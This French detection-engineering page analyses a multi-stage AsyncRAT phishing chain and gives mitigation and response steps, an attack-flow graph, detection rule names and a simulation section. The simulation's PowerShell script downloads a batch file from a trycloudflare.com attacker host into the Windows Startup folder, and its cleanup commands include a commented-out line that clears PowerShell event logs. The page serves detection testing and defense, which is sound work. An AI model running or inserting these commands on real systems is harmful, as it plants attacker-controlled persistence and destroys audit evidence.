Comment MDR a découvert une chaîne d’attaque en plusieurs étapes d’AsyncRAT
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Le rapport décrit une chaîne d’intrusion en plusieurs étapes initiée par des emails de phishing qui livrent des appâts ZIP à double extension et passent à une séquence de charges utiles hébergées sur WebDAV. Les opérateurs abusent de l’infrastructure gratuite de Cloudflare et des composants Python intégrés pour déployer AsyncRAT sur les points de terminaison victimes. L’exécution et la persistance reposent sur les outils natifs de Windows—Windows Script Host, PowerShell, et scripts batch—tandis que l’étape finale utilise l’injection de code dans explorer.exe. En routant la livraison et la mise en scène à travers des services cloud largement fiables, l’activité se fond dans le trafic normal et peut échapper aux contrôles de périmètre conventionnels.
Investigation
Les enquêteurs de Trend Micro ont signalé une télémétrie cohérente avec un flux de livraison par étapes : récupération d’une archive .pdf.zip depuis Dropbox, exécution de raccourcis .url intégrés, et interaction WebDAV ultérieure attribuée à svchost.exe et rundll32.exe. La chaîne a ensuite déployé des fichiers intégrés Python 3.14.0, utilisés pour exécuter un script Python personnalisé responsable de l’injection APC de shellcode AsyncRAT. La persistance a été réalisée en plaçant des fichiers batch dans le répertoire de démarrage de l’utilisateur. Les analystes ont également identifié et corrélé plusieurs hôtes TryCloudflare soutenant l’infrastructure.
Atténuation
Réduire l’exposition en formant les utilisateurs à considérer les archives à double extension et les pièces jointes ZIP inattendues comme suspectes et en resserrant le filtrage des liens cloud livrés par phishing. Bloquez ou contrôlez strictement l’accès aux services de tunneling cloud non autorisés et surveillez une dépendance anormale sur WebDAV dans les environnements où il est rare. Restreindre l’exécution de scripts à partir de répertoires modifiables par l’utilisateur, et renforcer les contrôles autour de l’utilisation du dossier de démarrage et de la création de tâches planifiées. Priorisez les détections EDR/comportementales capables de révéler les chaînes d’exécution pilotées par script et les techniques d’injection de code ciblant des processus bénins.
Réponse
Si une activité est détectée, isolez le point de terminaison et arrêtez les processus suspects associés à la chaîne (notamment svchost.exe, rundll32.exe, et python.exe liés à l’incident). Supprimez la persistance en supprimant les artefacts batch malveillants du répertoire de démarrage, éradiquer les archives Python téléchargées et tous les composants AsyncRAT, et effectuez un balayage forensique complet pour d’autres fichiers de mise en scène et mouvements latéraux. Mettez à jour les contrôles réseau et les listes de blocage pour inclure les domaines TryCloudflare identifiés et toute infrastructure associée observée pendant le triage.
« graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#ccffcc classDef malware fill:#ff9999 classDef process fill:#ccccff %% Nodes attack_phishing[« <b>Action</b> – <b>T1566.001 Spearphishing Attachment</b>: La victime reçoit un e-mail de phishing avec une pièce jointe .pdf.url à double extension qui pointe vers une archive Dropbox. »] class attack_phishing action file_shortcut[« <b>Fichier</b> – <b>Raccourci .url</b>: Imite une facture PDF et pointe vers l’archive malveillante Dropbox. »] class file_shortcut file action_user_exec[« <b>Action</b> – <b>T1204.002 Exécution par l’utilisateur</b>: L’utilisateur ouvre le raccourci, déclenchant le téléchargement initial. »] class action_user_exec action file_archive[« <b>Fichier</b> – <b>Archive Dropbox</b>: Apparaît comme une facture PDF, contient les charges utiles de la prochaine étape. »] class file_archive file action_masquerade[« <b>Action</b> – <b>T1036.008 Mascarade</b>: L’archive et le raccourci imitent des fichiers PDF légitimes pour éviter la suspicion. »] class action_masquerade action tool_wsh[« <b>Outil</b> – <b>Windows Script Host</b>: Fichiers .wsh/.wsf exécutés pour récupérer d’autres scripts. »] class tool_wsh tool action_script_proxy[« <b>Action</b> – <b>T1216 Exécution de proxy de script système</b>: Exécute les fichiers WSH comme proxy pour le téléchargement de scripts. »] class action_script_proxy action tool_rundll32[« <b>Outil</b> – <b>rundll32.exe</b>: Invoque davclnt.dll (DavSetCookie) pour communiquer avec un serveur WebDAV. »] class tool_rundll32 tool action_rundll32[« <b>Action</b> – <b>T1218.011 Rundll32</b>: Utilise rundll32 pour communiquer avec un serveur WebDAV hébergé par Cloudflare. »] class action_rundll32 action tool_powershell[« <b>Outil</b> – <b>PowerShell</b>: Télécharge le zip embarqué Python 3.14, l’extrait et tire des fichiers batch supplémentaires. »] class tool_powershell tool action_powershell[« <b>Action</b> – <b>T1059.001 PowerShell</b>: Exécute des commandes PowerShell pour le téléchargement et l’extraction. »] class action_powershell action action_hide[« <b>Action</b> – <b>T1564.001 Cacher des artefacts</b>: Stocke les charges utiles dans des fichiers cachés dans le répertoire Temp de l’utilisateur. »] class action_hide action file_hidden[« <b>Fichier</b> – <b>Fichiers Temp cachés</b>: ne.py, new.bin, a.txt placés dans %TEMP% et marqués comme cachés. »] class file_hidden file action_persistence[« <b>Action</b> – <b>T1037.001 Script de logon</b>: Place des fichiers batch dans le dossier de démarrage pour la persistance. »] class action_persistence action file_startup[« <b>Fichier</b> – <b>Fichiers batch de démarrage</b>: ahke.bat et olsm.bat situés dans le répertoire de démarrage de l’utilisateur. »] class file_startup file action_ingress[« <b>Action</b> – <b>T1105 Transfert d’outil d’ingress</b>: Transfère des composants malveillants supplémentaires depuis le serveur WebDAV. »] class action_ingress action action_cloudapi[« <b>Action</b> – <b>T1059.009 API de cloud</b>: Envoie des requêtes HTTP/HTTPS aux domaines trycloudflare.com pour récupérer les charges utiles finales. »] class action_cloudapi action action_injection[« <b>Action</b> – <b>T1055.004 Injection de processus</b>: Le script Python ne.py injecte le shellcode AsyncRAT dans explorer.exe via une injection APC. »] class action_injection action process_explorer[« <b>Processus</b> – <b>explorer.exe</b>: Processus cible pour l’injection de shellcode APC. »] class process_explorer process malware_asyncrat[« <b>Malware</b> – <b>AsyncRAT</b>: Le shellcode injecté établit un outil d’accès à distance. »] class malware_asyncrat malware action_c2[« <b>Action</b> – <b>T1102.002 Service Web</b>: AsyncRAT communique bidirectionnellement via HTTPS avec l’infrastructure Cloudflare. »] class action_c2 action %% Connections attack_phishing u002du002d>|livre| file_shortcut file_shortcut u002du002d>|ouvert par la victime déclenche| action_user_exec action_user_exec u002du002d>|télécharge| file_archive file_archive u002du002d>|utilisé dans| action_masquerade action_masquerade u002du002d>|permet l’exécution de| tool_wsh tool_wsh u002du002d>|exécute comme partie de| action_script_proxy action_script_proxy u002du002d>|appelle| tool_rundll32 tool_rundll32 u002du002d>|invoque| action_rundll32 action_rundll32 u002du002d>|prépare l’environnement pour| tool_powershell tool_powershell u002du002d>|exécute| action_powershell action_powershell u002du002d>|stocke des fichiers dans| action_hide action_hide u002du002d>|crée| file_hidden file_hidden u002du002d>|utilisé par| action_persistence action_persistence u002du002d>|place| file_startup file_startup u002du002d>|déclenche| action_ingress action_ingress u002du002d>|récupère plus de composants via| action_cloudapi action_cloudapi u002du002d>|livre la charge utile à| action_injection action_injection u002du002d>|injecte dans| process_explorer process_explorer u002du002d>|héberge| malware_asyncrat malware_asyncrat u002du002d>|communique via| action_c2 «
Flux d’Attaque
Détections
Téléchargement ou téléversement via Powershell (via cmdline)
Voir
LOLBAS WScript / CScript (via création de processus)
Voir
Fichier Python créé dans un répertoire inhabituel (via événement de fichier)
Voir
Communication suspecte avec domaine Trycloudflare (via proxy)
Voir
Une opération manuelle ou de script potentielle a été effectuée dans des dossiers inhabituels (via cmdline)
Voir
Communication suspecte avec domaine Trycloudflare (via DNS)
Voir
IOC (DestinationIP) à détecter : Analyse d’une campagne AsyncRAT à plusieurs étapes via Détection et Réponse Gérée
Voir
IOC (SourceIP) à détecter : Analyse d’une campagne AsyncRAT à plusieurs étapes via Détection et Réponse Gérée
Voir
Commande PowerShell téléchargeant des fichiers Python et batch pour la configuration de l’environnement et la persistance [Windows PowerShell]
Voir
Campagne de phishing utilisant Edge et Cmd pour exécuter un script Python pour l’injection de code [Création de processus Windows]
Voir
Exécution de Simulation
Prérequis : La Vérification Pré-vol de Télémétrie & Baseline doit avoir réussi.
-
Narration de l’attaque & Commandes
Un adversaire qui a obtenu initialement l’accès à PowerShell sur un hôte Windows compromis veut configurer un environnement d’exécution Python et obtenir la persistance. Ils :
- Téléchargent la distribution Python intégrée directement dans le
répertoire Temp local de l'utilisateurà l’aide deInvoke‑WebRequest. - Téléchargent un script batch malveillant (
ahke.bat) depuis un domaine relayé par Cloudflare vers le dossier de démarrage de l’utilisateur pour qu’il s’exécute à chaque ouverture de session. - Exécutent le zip Python téléchargé (omis ici pour la brièveté) pour exécuter d’autres charges utiles.
Ces étapes produisent exactement les chaînes de commande correspondantes à la règle Sigma, générant des journaux de script‑block de PowerShell avec le
iwr … -OutFile …modèle. - Téléchargent la distribution Python intégrée directement dans le
-
Script de Test de Régression
# ------------------------------------------------- # Simulation PowerShell de la configuration de l'environnement AsyncRAT # ------------------------------------------------- # 1. Téléchargez le zip Python intégré dans le dossier temp de l'utilisateur $pythonUrl = 'https://www.python.org/ftp/python/3.14.0/python-3.14.0-embed-amd64.zip' $pythonDest = "$env:USERPROFILEAppDataLocalTempp.zip" iwr $pythonUrl -OutFile $pythonDest # 2. Téléchargez le fichier batch malveillant dans le dossier de démarrage pour la persistance $batUrl = 'https://plus-condos-thy-redeem.trycloudflare.com/ahke.bat' $batDest = "$env:APPDATAMicrosoftWindowsStart MenuProgramsStartupahke.bat" iwr $batUrl -OutFile $batDest # 3. (Optionnel) Déclenchez l'exécution du batch pour démontrer la persistance # Start-Process -FilePath $batDest -WindowStyle Hidden # ------------------------------------------------- -
Commandes de Nettoyage
# Supprimez les artefacts téléchargés Remove-Item -Path "$env:USERPROFILEAppDataLocalTempp.zip" -ErrorAction SilentlyContinue Remove-Item -Path "$env:APPDATAMicrosoftWindowsStart MenuProgramsStartupahke.bat" -ErrorAction SilentlyContinue # Optionnellement, nettoyez les journaux de script block PowerShell (nécessite admin) # Clear-EventLog -LogName "Microsoft-Windows-PowerShell/Operational"